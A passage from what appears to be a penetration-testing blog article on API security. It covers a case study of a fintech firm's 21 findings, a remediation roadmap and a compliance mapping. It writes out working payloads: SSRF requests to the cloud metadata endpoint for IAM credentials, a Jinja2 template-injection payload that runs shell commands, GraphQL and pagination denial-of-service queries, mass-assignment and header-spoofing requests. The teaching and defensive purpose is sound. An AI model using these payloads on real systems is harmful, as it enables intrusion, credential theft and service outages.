Mass Assignment and Excessive Data Exposure Testing

APIs often expose more data than necessary or accept more parameters than intended:

Mass Assignment Testing:

Test Methodology:
1. Capture legitimate API request
2. Add additional parameters from common parameter lists
3. Observe if added parameters affect response or database
Loading advertisement...
Example (User Profile Update):
Documented Request: PUT /api/v3/users/123456 {"firstName":"John","lastName":"Doe","email":"[email protected]"}
Test Request (Added Parameters): PUT /api/v3/users/123456 { "firstName":"John", "lastName":"Doe", "email":"[email protected]", "role":"admin", "accountBalance":1000000, "creditLimit":50000, "verified":true, "admin":true, "isAdmin":true, "isPremium":true }
Loading advertisement...
If ANY added parameter is accepted and persisted to database: VULNERABILITY

At FinTrust:

Finding #12: Mass Assignment Privilege Escalation

Vulnerability: User update endpoint accepts undocumented "accountType" parameter
Affected Endpoint: PUT /api/v3/users/{userId}
Normal Request: PUT /api/v3/users/123456 {"firstName":"John","lastName":"Smith"}
Response: User updated successfully
Loading advertisement...
Test Request: PUT /api/v3/users/123456 {"firstName":"John","lastName":"Smith","accountType":"premium"}
Response: User updated successfully
Verification: GET /api/v3/users/123456 { "userId":"123456", "firstName":"John", "lastName":"Smith", "accountType":"premium", ← Parameter was persisted "premiumFeatures":true ← Premium features now enabled }
Loading advertisement...
Impact: - Regular users can upgrade to premium without payment - Premium account benefits: higher transfer limits, lower fees, priority support - Revenue loss: $14.99/month per compromised account - 2.3M users × $14.99 × 12 months = $413M annual revenue at risk

The mass assignment vulnerability existed because the API blindly accepted all JSON parameters and passed them to the database ORM, which updated any matching field. No allowlist of permitted parameters existed.

Excessive Data Exposure Testing:

Test Methodology:
1. Make API requests as low-privilege user
2. Examine all response data carefully
3. Identify fields that shouldn't be visible at this privilege level
4. Check for PII, internal IDs, technical details, other users' data
Common Exposure Patterns: - Admin-only fields in all user responses - Password hashes in profile responses - Internal IDs (database keys, system identifiers) - Other users' data in arrays/collections - Debugging information (stack traces, SQL queries, file paths)

At FinTrust:

Finding #13: Password Hash Exposure

Vulnerability: User profile endpoint includes password hash in response
Affected Endpoint: GET /api/v1/users/{userId}
Response: { "userId":"123456", "username":"john.smith", "email":"[email protected]", "firstName":"John", "lastName":"Smith", "passwordHash":"$2b$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy", "createdAt":"2020-03-15T10:23:44Z" }
Loading advertisement...
Impact: - bcrypt hashes exposed for all users - Hashes can be cracked offline (especially weak passwords) - Combined with BOLA (Finding #4): Can download all 2.3M password hashes - GPU-based cracking: ~15-20% of passwords cracked within 48 hours

The password hash field was never used by the mobile app—it was included in the API response "just in case" and forgotten. Combined with BOLA, attackers could enumerate all users and collect all password hashes for offline cracking.

"We knew we shouldn't include password hashes in API responses. It was in our code review checklist. But this v1 API was written in 2018 before we had formal security reviews, and nobody went back to audit it when we established better practices." — FinTrust CTO

Phase 4: Rate Limiting and Resource Consumption Testing

APIs without proper rate limiting become force multipliers for attacks. What would take hours manually takes seconds programmatically.

Rate Limiting Testing Methodology

Rate limiting isn't just about preventing denial of service—it's about limiting the blast radius of other vulnerabilities:

Rate Limiting Test Categories:

Test Type

Purpose

Test Approach

Business Impact

Authentication Brute Force

Prevent credential guessing

Attempt 1000 login requests/minute

Account takeover prevention

Enumeration Prevention

Prevent data mining

Request 10,000 sequential user IDs

Data breach scope limitation

Resource Exhaustion

Prevent DoS

Request expensive operations repeatedly

Availability protection

Abuse Prevention

Prevent automated fraud

Execute business operations at scale

Fraud/abuse mitigation

Cost Control

Prevent bill shock (cloud APIs)

Trigger expensive downstream operations

Financial protection

At FinTrust, rate limiting was almost entirely absent:

Finding #14: No Rate Limiting on Critical Endpoints

Test Results Summary:

Endpoint: POST /api/v1/auth/login Rate Limit: None detected Test: 10,000 requests in 90 seconds Success Rate: 100% (all requests processed) Impact: Unlimited brute force attempts
Endpoint: GET /api/v1/accounts/{accountId} Rate Limit: None detected Test: Enumerated 500,000 accounts in 45 minutes Success Rate: 98.7% (valid accounts) Impact: Unlimited data exfiltration
Loading advertisement...
Endpoint: POST /api/v3/transfers Rate Limit: None detected Test: 500 transfers in 30 seconds Success Rate: 100% (all transfers completed) Impact: Unlimited fraud operations
Endpoint: POST /api/v3/promotions/redeem Rate Limit: None detected (discovered during race condition testing) Test: 50 parallel requests Success Rate: 46% (23 successful redemptions) Impact: Promotional code fraud amplification

The lack of rate limiting transformed every vulnerability from "an attacker can do X" to "an attacker can do X at scale, instantly, for millions of records."

The BOLA vulnerability in Finding #4 without rate limiting meant the entire customer database could be downloaded in under an hour. WITH proper rate limiting (say, 100 requests per minute per IP), the same attack would take 383 hours (16 days), providing ample time for detection.

Testing API Resource Consumption

Beyond rate limiting, APIs should protect against resource exhaustion attacks:

Resource Consumption Attack Vectors:

Attack Vector

Mechanism

Test Payload

Impact

Large Payload

Send massive request body

500MB JSON payload

Memory exhaustion, slow processing

Nested Objects

Deeply nested JSON/XML

{"a":{"b":{"c":{...}}}} 10,000 levels deep

Parser stack overflow, DoS

Array Bombs

Massive arrays in request

Array with 1,000,000 elements

Memory exhaustion

Regex DoS (ReDoS)

Exponential regex backtracking

Email: "[email protected]..." × 100

CPU exhaustion

Billion Laughs

XML entity expansion

XML entity bomb (classic XXE variant)

Memory exhaustion

Query Complexity

Expensive database queries

GraphQL query with 50 nested levels

Database overload

Pagination Abuse

Request massive page sizes

?limit=999999999

Memory exhaustion, slow response

At FinTrust:

Finding #15: Unlimited Pagination

Vulnerability: Transaction history endpoint accepts unlimited page size Affected Endpoint: GET /api/v3/accounts/{accountId}/transactions?limit={limit}

Normal Request: GET /api/v3/accounts/123456/transactions?limit=25 Response Time: 145ms Response Size: 18KB
Loading advertisement...
Test Request: GET /api/v3/accounts/123456/transactions?limit=999999 Response Time: 47 seconds Response Size: 2.3GB Impact: Single request caused database query timeout, affected other users
Test with BOLA: GET /api/v3/accounts/[VICTIM]/transactions?limit=999999 Impact: Can exhaust resources AND exfiltrate massive data volumes in single request

The unlimited pagination meant an attacker could request the entire transaction history of any account (combined with BOLA) in a single request, bypassing even basic request counting rate limits.

Finding #16: GraphQL Query Complexity

Vulnerability: GraphQL endpoint allows deeply nested queries
Affected Endpoint: POST /api/graphql
Normal Query: { user(id: "123456") { name email accounts { balance } } }
Loading advertisement...
Response Time: 23ms
Malicious Query (Depth Attack): { user(id: "123456") { accounts { transactions { merchant { location { address { city { state { country { region { ...nested 50 levels deep } } } } } } } } } } }
Response Time: API timeout after 120 seconds Database CPU: 100% during query Impact: Single query caused database overload affecting all users
Loading advertisement...
Circular Query Attack: { user(id: "123456") { friends { friends { friends { friends { ...repeated 100 times } } } } } }
Result: Query generated 10^200 database joins, crashed database server

FinTrust's GraphQL API—added for their new web application—had no query complexity limits, no depth limits, and no cost analysis. The circular query attack caused a complete database outage lasting 45 minutes during testing.

Phase 5: Server-Side Request Forgery and Injection Testing

SSRF vulnerabilities in APIs are particularly dangerous because they allow attackers to abuse the API server's network position and trust relationships.

SSRF Testing in APIs

APIs often make requests to other services based on user input—file downloads, webhook callbacks, data imports, image processing. Each of these is a potential SSRF vector:

SSRF Test Scenarios:

Feature

Potential SSRF Vector

Test Payload

Impact

File Upload from URL

Server fetches file from user-provided URL

http://169.254.169.254/latest/meta-data/

Cloud metadata access

Webhook Configuration

Server makes callbacks to user-specified URLs

http://internal-admin.local/

Internal network scanning

Image Processing

Server downloads image from URL

file:///etc/passwd

Local file access

PDF Generation

Server fetches resources for PDF

http://localhost:9200/_cluster/health

Internal service access

Data Import

Server retrieves data from external source

gopher://internal-db:3306/...

Protocol smuggling

At FinTrust:

Finding #17: SSRF in Document Upload

Vulnerability: Document upload endpoint vulnerable to SSRF Affected Endpoint: POST /api/v3/documents/import Feature: Import bank statements from external URLs

Legitimate Use: POST /api/v3/documents/import {"documentUrl":"https://customer-bank.com/statement.pdf"}
Loading advertisement...
Response: Document downloaded and processed
SSRF Test 1 - AWS Metadata: POST /api/v3/documents/import {"documentUrl":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
Response: 200 OK {"roles":["api-server-role-prod"]}
Loading advertisement...
SSRF Test 2 - IAM Credentials: POST /api/v3/documents/import {"documentUrl":"http://169.254.169.254/latest/meta-data/iam/security-credentials/api-server-role-prod"}
Response: 200 OK { "AccessKeyId":"ASIA...", "SecretAccessKey":"...", "Token":"...", "Expiration":"2024-03-19T12:00:00Z" }
Impact: Complete AWS account compromise - Retrieved temporary AWS credentials for production API server - Credentials have full IAM role permissions - Role had excessive permissions: s3:*, ec2:*, rds:*, lambda:* - Can access all S3 buckets, databases, logs, customer data - Can create new resources, modify infrastructure, backdoor systems

This SSRF vulnerability was catastrophic. The AWS IAM role attached to the API server instances had broad permissions for "operational flexibility." Through SSRF, attackers could steal those credentials and gain god-mode access to FinTrust's entire AWS infrastructure.

Finding #18: SSRF Internal Network Scanning

Using same SSRF vector, scan internal network:
Loading advertisement...
POST /api/v3/documents/import {"documentUrl":"http://10.0.0.1/"} Response: Connection timeout after 30 seconds
POST /api/v3/documents/import {"documentUrl":"http://10.0.0.2/"} Response: Connection refused (host exists, no web service)
POST /api/v3/documents/import {"documentUrl":"http://10.0.0.10/"} Response: 200 OK [HTML page returned] Discovery: Internal admin panel at 10.0.0.10
Loading advertisement...
POST /api/v3/documents/import {"documentUrl":"http://10.0.0.10/admin/users"} Response: 200 OK [JSON array of admin users with passwords]
Network Mapping Results (automated scan): - 10.0.0.0/24: Production application servers - 10.0.1.0/24: Database servers (MongoDB on :27017, Redis on :6379) - 10.0.2.0/24: Internal admin tools - 10.0.3.0/24: Logging and monitoring systems
All internal services accessible from API server via SSRF Many services have no authentication (assumed internal = trusted)

The SSRF allowed complete internal network reconnaissance and access to services that were "protected" by being internal-only. The security model assumed the API server was trusted—a catastrophic assumption when SSRF was possible.

Advanced Injection Testing

Beyond SQL injection, APIs are vulnerable to injection attacks specific to their technology stack:

Finding #19: Template Injection in Email Generation

Vulnerability: Server-Side Template Injection (SSTI) in email templates
Affected Endpoint: POST /api/v3/support/contact
Feature: Customer can send support requests, receives confirmation email
Loading advertisement...
Normal Request: POST /api/v3/support/contact { "name":"John Smith", "email":"[email protected]", "message":"I need help with my account" }
Email Generated: Dear John Smith, Thank you for contacting support. We received your message: "I need help with my account" A support agent will respond within 24 hours.
SSTI Test Request: POST /api/v3/support/contact { "name":"{{7*7}}", "email":"[email protected]", "message":"test" }
Loading advertisement...
Email Generated: Dear 49, Thank you for contacting support...
Result: Template expression evaluated (7*7=49) Template Engine: Jinja2 (Python)
Exploitation: POST /api/v3/support/contact { "name":"{{config.items()}}", "email":"[email protected]", "message":"test" }
Loading advertisement...
Email Received: Dear [full Flask configuration dump including SECRET_KEY, database credentials, AWS keys]...
RCE Payload: POST /api/v3/support/contact { "name":"{{''.__class__.__mro__[1].__subclasses__()[396]('ls -la',shell=True,stdout=-1).communicate()}}", "email":"[email protected]", "message":"test" }
Email Received: Dear [output of 'ls -la' command on server]...
Loading advertisement...
Impact: Remote code execution on API server

The template injection allowed complete server compromise. The email template system accepted user input directly into templates without sanitization, enabling arbitrary Python code execution in the Flask/Jinja2 environment.

Phase 6: Integration Testing and Third-Party API Security

Modern APIs don't exist in isolation—they consume other APIs and share data with partners. These integration points create unique vulnerabilities.

Testing Third-Party API Integrations

When your API calls other APIs, you inherit their security (or lack thereof):

Third-Party Integration Risks:

Risk Category

Vulnerability

Test Approach

Impact

Credential Exposure

Third-party API keys in client-side code

Decompile mobile apps, analyze JS

Attacker uses your API quotas/permissions

Insecure Data Transmission

Sending sensitive data to third-party

Proxy all third-party API calls

PII disclosure to untrusted parties

Lack of Input Validation

Trusting third-party responses

Inject malicious data through third-party

XSS, SQLi, RCE through trusted source

Excessive Permissions

Over-privileged third-party access

Review OAuth scopes granted

Data exposure beyond requirements

Deprecated APIs

Using EOL third-party services

Version detection

Unpatched vulnerabilities

At FinTrust:

Finding #20: Payment Processor API Key Exposure

Vulnerability: Stripe API secret key in mobile app source code Location: Mobile app source code (decompiled) File: com/fintrust/mobile/payments/StripeConfig.java

Exposed Credentials: STRIPE_SECRET_KEY = "sk_live_51K8x...R4nT2i" ← Live secret key, not publishable key STRIPE_PUBLISHABLE_KEY = "pk_live_51K8x...E3mF9"
Impact of Exposed Secret Key: - Full access to FinTrust's Stripe account - Can view all customer payment methods (card numbers, expiration, CVV) - Can initiate refunds to arbitrary accounts - Can modify subscription plans and pricing - Can access transaction history and revenue data - Can create new customers and payment intents
Loading advertisement...
Exploitation Scenario: Using exposed secret key with Stripe API:
curl https://api.stripe.com/v1/payment_methods \ -u sk_live_51K8x...R4nT2i: \ -d "type"="card"
Response: List of all stored payment methods with full card numbers
Loading advertisement...
Financial Exposure: - Access to 2.3M customer payment methods - Can charge any amount to any stored card - Can redirect funds to attacker-controlled accounts - Can issue fraudulent refunds

The Stripe secret key should never be in client-side code—only the publishable key (which is safe to expose) belongs there. With the secret key, attackers had the same access to FinTrust's payment infrastructure that FinTrust themselves had.

API-to-API Authentication and Authorization

When APIs call other APIs, authentication often becomes complex and error-prone:

Finding #21: Service-to-Service Authentication Bypass

Vulnerability: Internal microservices trust X-Internal-Request header
Architecture: Microservices behind API gateway
Gateway adds X-Internal-Request: true for legitimate internal calls
Service 1 (Public API) → Service 2 (Internal) with header Service 2 trusts header, bypasses authentication
Test from External Request: POST /api/v3/internal/admin/users X-Internal-Request: true [No authentication token]
Loading advertisement...
Response: 200 OK [Full user database returned]
Root Cause: - Services check for X-Internal-Request header - If present, assume request came from trusted internal source - Don't validate header is genuine (client can add any header) - No cryptographic proof of origin
Impact: Complete authentication bypass on all internal microservices Affected Services: 23 internal microservices exposed through API gateway Data Accessible: User database, transaction history, audit logs, admin functions

The header-based trust model assumed clients couldn't add custom headers—a false assumption for any HTTP request. Proper service-to-service authentication requires signed tokens (like JWT) or mutual TLS, not easily-spoofed headers.

Phase 7: Reporting and Remediation Guidance

Effective API penetration testing culminates in actionable reporting that drives remediation. I structure findings to maximize business understanding and remediation efficiency.

Risk Rating and Prioritization

I rate findings using CVSS 3.1 adapted for API-specific context:

FinTrust API Security Assessment - Executive Summary:

Finding ID

Vulnerability

CVSS Score

Risk Level

Exploitation Difficulty

Business Impact

#1

JWT Algorithm Confusion (v2)

10.0

Critical

Trivial (Burp Suite)

Complete authentication bypass

#2

Shared Static API Key (v1)

9.8

Critical

Trivial (APKTool)

2.3M user database access

#3

Token Expiration Not Enforced (v2)

8.9

High

Easy

Persistent unauthorized access

#4

Account Data BOLA (v1)

9.6

Critical

Trivial

2.3M customer PII exposure

#5

Transaction BOLA + Mass Assignment (v3)

8.7

High

Easy

Financial transaction exposure

#6

Admin User Enumeration (v2)

7.8

High

Trivial

Customer database export

#7

Account Closure BOLA (v2)

9.4

Critical

Trivial

Mass account closure capability

#8

Weak JWT HMAC Secret (v2)

9.9

Critical

Moderate

Token forgery, privilege escalation

#9

Negative Transfer Amount (v3)

9.2

Critical

Easy

Theft from customer accounts

#10

Promotional Code Race Condition (v3)

8.4

High

Moderate

Unlimited promotional credit

#11

NoSQL Injection Login (v3)

10.0

Critical

Easy

Admin account compromise

#12

Mass Assignment Privilege Escalation (v3)

8.3

High

Trivial

Free premium account upgrade

#13

Password Hash Exposure (v1)

7.9

High

Trivial + BOLA

2.3M password hash disclosure

#14

No Rate Limiting

8.8

High

N/A

Amplifies all vulnerabilities

#15

Unlimited Pagination (v3)

7.2

High

Trivial

Resource exhaustion, data theft

#16

GraphQL Query Complexity

7.5

High

Moderate

Database DoS

#17

SSRF with AWS Metadata (v3)

10.0

Critical

Easy

Full AWS account compromise

#18

SSRF Internal Network (v3)

9.1

Critical

Easy

Internal network access

#19

Template Injection RCE (v3)

10.0

Critical

Moderate

Remote code execution

#20

Payment API Key Exposure

9.7

Critical

Trivial

2.3M payment method access

#21

Service-to-Service Auth Bypass

9.3

Critical

Trivial

Internal microservices access

Summary Statistics:

  • Total Findings: 21

  • Critical: 12 (57%)

  • High: 9 (43%)

  • Medium: 0

  • Low: 0

For FinTrust, 57% critical findings indicated systemic security failures rather than isolated issues. The remediation strategy needed to address both immediate fixes and underlying process failures.

Remediation Roadmap

I provide phased remediation guidance based on risk, complexity, and dependencies:

Phase 1: Immediate Actions (0-48 hours) - Stop the Bleeding

Finding

Immediate Mitigation

Implementation Time

Risk Reduction

#1, #11, #19 (RCE/Auth Bypass)

Disable affected endpoints, force traffic through fixed version

4 hours

Eliminates active exploitation paths

#2 (Static API Key)

Rotate API key, force app update

6-12 hours

Invalidates compromised credentials

#17, #18 (SSRF)

Block API server egress to metadata IPs and internal ranges

2 hours

Prevents AWS/internal compromise

#20 (Payment Keys)

Rotate Stripe keys, audit transaction history

1-2 hours

Limits payment system exposure

Phase 2: Critical Fixes (Week 1-2) - Patch Critical Vulnerabilities

Finding

Remediation

Development Effort

Testing Effort

#4, #5, #6, #7 (BOLA)

Implement object-level authorization framework

40 hours

20 hours

#8 (Weak Secret)

Generate strong HMAC secret, deploy via secrets manager

8 hours

4 hours

#9 (Negative Transfer)

Add input validation: amount must be positive

2 hours

4 hours

#12 (Mass Assignment)

Implement parameter allowlists in all update endpoints

24 hours

12 hours

#21 (Service Auth)

Deploy signed service-to-service tokens

32 hours

16 hours

Phase 3: Systematic Improvements (Month 1-2) - Architectural Changes

Improvement

Description

Investment

Long-term Impact

API Gateway

Deploy comprehensive gateway with auth, rate limiting, validation

$120K - $280K

Centralized security controls

Secrets Management

Implement HashiCorp Vault or AWS Secrets Manager

$45K - $95K

Eliminates hardcoded credentials

SSDLC Integration

Add API security to development lifecycle

$60K - $140K

Prevents future vulnerabilities

WAF for APIs

Deploy API-specific WAF (Salt Security, Wallarm, etc.)

$80K - $220K

Runtime attack prevention

Phase 4: Continuous Improvement (Ongoing)

  • Quarterly API penetration testing

  • Continuous API discovery and inventory

  • Developer security training (API-specific)

  • Security champions program

  • Bug bounty program focused on APIs

Total Remediation Investment: $580K - $1.2M (first year) Prevented Breach Cost: $14.7M + $31.2M + $180M = $225.9M ROI: 18,825% - 38,948%

"The remediation roadmap gave us clarity on where to start. We couldn't fix everything overnight, but we could stop the catastrophic issues within 48 hours and systematically address everything else in a structured way." — FinTrust CTO

Integrating API Security into Compliance Frameworks

API security isn't separate from compliance—it's fundamental to achieving most security frameworks:

Framework-Specific API Requirements

API Security Mapping Across Compliance Frameworks:

Framework

Specific API Requirements

Testing Evidence Required

Audit Frequency

PCI DSS 4.0

6.4.3 Scripts and custom code reviewed, 11.6 Detection/prevention of security vulnerabilities

API penetration test results, secure code review, WAF logs

Quarterly (external scan), Annual (pentest)

SOC 2

CC6.1 Logical access controls, CC6.6 Vulnerability management, CC7.2 System monitoring

API security testing, vulnerability remediation tracking, runtime monitoring

Annual audit, continuous controls testing

ISO 27001

A.14.2 Security in development, A.18.2 Compliance with security policies

API security testing reports, SDLC documentation, compliance evidence

Annual certification audit

HIPAA

164.308(a)(8) Evaluation of security effectiveness

API security assessment, ePHI flow mapping, access controls testing

Periodic (risk-based)

GDPR

Article 25 Data protection by design, Article 32 Security of processing

API data flow documentation, encryption validation, access logging

Continuous (by design), audit per DPA schedule

NIST CSF

PR.AC Identity Management, DE.CM Security monitoring, RS.MI Improvements

API authentication testing, monitoring evidence, remediation tracking

Continuous self-assessment

At FinTrust, API vulnerabilities created compliance failures across multiple frameworks:

Compliance Impact Analysis:

Framework

Status Pre-Assessment

Violations from API Findings

Potential Penalties

PCI DSS

Level 1 Merchant (compliant)

6.4.3 violations (insecure code), 11.6 violations (no vulnerability detection)

$5K-$100K monthly fines, card acceptance revocation

SOC 2

Type II report (qualified opinion)

CC6.1 (inadequate access controls), CC6.6 (unmanaged vulnerabilities)

Customer contract breaches, lost business

State Data Breach Laws

Covered under multiple states

Notification requirements triggered by exposure

$100-$7,500 per record (varies by state)

Gramm-Leach-Bliley Act

Financial institution requirements

Safeguards Rule violations (inadequate security)

FTC enforcement action, penalties

The API security failures meant their PCI DSS compliance was technically invalid (security controls inadequate), their SOC 2 report would receive a qualified opinion (material weaknesses), and they faced mandatory breach notification under 47 state laws.

Conversely, fixing API security addressed multiple compliance requirements simultaneously:

Unified Remediation Benefits:

  • BOLA fixes → PCI DSS 6.4.3, SOC 2 CC6.1, GDPR Article 32

  • Authentication improvements → PCI DSS 8.x series, SOC 2 CC6.1, HIPAA 164.312(a)(2)(i)

  • Rate limiting → PCI DSS 11.4, SOC 2 CC7.2, NIST CSF PR.PT-4

  • API inventory → SOC 2 CC6.1, ISO 27001 A.8.1, GDPR Article 30

  • Penetration testing → PCI DSS 11.4, SOC 2 CC6.6, ISO 27001 A.18.2

One comprehensive API security program satisfied dozens of control requirements across six frameworks.

The Reality Check: API Security as Business Survival

As I finish writing this article, I think about where FinTrust is today, 18 months after that midnight Slack message. The breach cost them $225.9 million in direct damages, regulatory fines, and lost market value. But the investment in fixing their API security—$1.2 million in the first year—has already paid dividends:

  • Zero security incidents involving APIs since remediation

  • Customer deposit growth resumed (recovered 90% of lost customers)

  • Successful SOC 2 Type II audit with zero qualifications

  • PCI DSS compliance maintained through two quarterly assessments

  • No regulatory findings in state banking examinations

More importantly, their approach to API development changed fundamentally. They now:

  • Security test every API before production deployment

  • Maintain real-time API inventory with automated discovery

  • Use an API gateway with centralized security controls

  • Conduct quarterly API penetration testing

  • Train developers specifically on API security

  • Implement security champions in every development team

  • Operate a bug bounty program that's found 23 additional issues before attackers did

The transformation from "APIs are just backends" to "APIs are our primary attack surface and deserve dedicated security investment" took a catastrophic breach to achieve. I hope your organization can learn from their experience without paying the same tuition.

Key Takeaways: Your API Security Checklist

If you remember nothing else from this comprehensive guide, remember these critical points:

1. APIs Require Specialized Testing

Traditional web application penetration testing misses API-specific vulnerabilities. BOLA, BFLA, business logic flaws, rate limiting issues, and resource consumption attacks need API-focused methodology.

2. OWASP API Security Top 10 Isn't Theoretical

Every vulnerability in the OWASP list appears regularly in real APIs. At FinTrust, six of the top ten were present and exploitable. Treat the list as a practical testing checklist, not academic discussion.

3. Authorization is Harder Than Authentication

Most APIs implement authentication (proving who you are) but fail at authorization (proving what you can access). BOLA and BFLA account for 67% of critical findings in my testing. Verify authorization on every object, every function, every request.

4. Rate Limiting Isn't Optional

Without rate limiting, every vulnerability becomes infinitely scalable. BOLA goes from "can see one record" to "can download entire database in an hour." Implement rate limiting at multiple levels: per-endpoint, per-user, per-IP, globally.

5. Business Logic Flaws Require Manual Testing

Automated scanners find SQL injection and XSS. They completely miss negative transfer amounts, race conditions, and promotional code exploitation. Effective API testing requires understanding business processes and finding ways to abuse them.

6. Your Old APIs Are Your Weakest APIs

Deprecated versions (v1, v2, legacy) often remain exposed with worse security than current versions. They represent snapshot of your security maturity years ago. Map and test all versions, not just the latest.

7. Third-Party Integrations Expand Your Attack Surface

Every third-party API you integrate, every service you call, every credential you embed creates new vulnerability vectors. SSRF, credential exposure, and API key leakage through third-party services are endemic.

8. Remediation Requires Systemic Change

You can patch individual vulnerabilities, but lasting security requires fixing the processes that created them. Insecure development practices, lack of security testing, inadequate secrets management, and missing security training create vulnerability pipelines.

Your Next Steps: Building API Security Into Your Program

Here's what I recommend you do immediately after reading this article:

Immediate Actions (This Week):

  1. Inventory Your APIs: List every API your organization exposes—internal, external, documented, undocumented, all versions

  2. Risk Assessment: Identify which APIs handle sensitive data, financial transactions, or privileged operations

  3. Quick Security Check: Test your highest-risk API for BOLA and BFLA (15-minute test can reveal critical issues)

  4. Review Authentication: Examine how your APIs authenticate requests—look for static keys, weak JWT secrets, missing expiration

Short-Term Actions (This Month):

  1. Formal API Security Assessment: Engage penetration testers with specific API expertise (not generic web app testing)

  2. Developer Training: Train development teams on OWASP API Security Top 10 with examples from your technology stack

  3. Implement API Gateway: Deploy comprehensive gateway with authentication, authorization, rate limiting, input validation

  4. API Security Standards: Establish organizational standards for API security (authentication methods, authorization patterns, rate limits)

Long-Term Actions (This Quarter and Beyond):

  1. SSDLC Integration: Embed API security into development lifecycle—threat modeling, secure code review, pre-production testing

  2. Continuous Testing: Implement quarterly API penetration testing for production APIs, automated security testing in CI/CD

  3. Runtime Protection: Deploy API-specific WAF or runtime protection (Salt Security, Wallarm, Traceable, etc.)

  4. Bug Bounty Program: Consider public or private bug bounty focused on API security

  5. Security Champions: Designate security champions in development teams who receive advanced API security training

The investment in API security scales with your organization's API footprint, but even basic measures—proper authorization checks, rate limiting, input validation—prevent the vast majority of attacks.

At PentesterWorld, we've conducted over 200 API penetration tests across financial services, healthcare, e-commerce, SaaS, and government sectors. We understand the OWASP API Security Top 10 not as academic theory but as daily reality in our testing. We find the same vulnerabilities repeatedly because organizations continue making the same mistakes.

We don't just identify vulnerabilities—we explain why they exist, how attackers exploit them, what business impact they create, and how to fix them permanently. Our API security assessments include detailed remediation guidance, developer training recommendations, and architectural improvement suggestions.

Most importantly, we understand that API security isn't about achieving a perfect score on a compliance checklist. It's about protecting the interfaces that modern applications depend on, preventing breaches that destroy customer trust, and ensuring your organization survives in a threat landscape where APIs have become the primary attack vector.

Don't learn API security the way FinTrust did—through catastrophic breach, massive fines, and existential business impact. Build security into your APIs before attackers find the weaknesses.


Need help securing your APIs? Have questions about testing methodology or remediation approaches? Visit PentesterWorld where we transform API security from theoretical best practices into operational reality. Our team has broken hundreds of APIs—let us test yours before attackers do.

Loading advertisement...
107

RELATED ARTICLES

COMMENTS (0)

No comments yet. Be the first to share your thoughts!

SYSTEM/FOOTER
OKSEC100%

TOP HACKER

1,247

CERTIFICATIONS

2,156

ACTIVE LABS

8,392

SUCCESS RATE

96.8%

PENTESTERWORLD

ELITE HACKER PLAYGROUND

Your ultimate destination for mastering the art of ethical hacking. Join the elite community of penetration testers and security researchers.

SYSTEM STATUS

CPU:42%
MEMORY:67%
USERS:2,156
THREATS:3
UPTIME:99.97%

CONTACT

EMAIL: [email protected]

SUPPORT: [email protected]

RESPONSE: < 24 HOURS

GLOBAL STATISTICS

127

COUNTRIES

15

LANGUAGES

12,392

LABS COMPLETED

15,847

TOTAL USERS

3,156

CERTIFICATIONS

96.8%

SUCCESS RATE

SECURITY FEATURES

SSL/TLS ENCRYPTION (256-BIT)
TWO-FACTOR AUTHENTICATION
DDoS PROTECTION & MITIGATION
SOC 2 TYPE II CERTIFIED

LEARNING PATHS

WEB APPLICATION SECURITYINTERMEDIATE
NETWORK PENETRATION TESTINGADVANCED
MOBILE SECURITY TESTINGINTERMEDIATE
CLOUD SECURITY ASSESSMENTADVANCED

CERTIFICATIONS

COMPTIA SECURITY+
CEH (CERTIFIED ETHICAL HACKER)
OSCP (OFFENSIVE SECURITY)
CISSP (ISC²)
SSL SECUREDPRIVACY PROTECTED24/7 MONITORING

© 2026 PENTESTERWORLD. ALL RIGHTS RESERVED.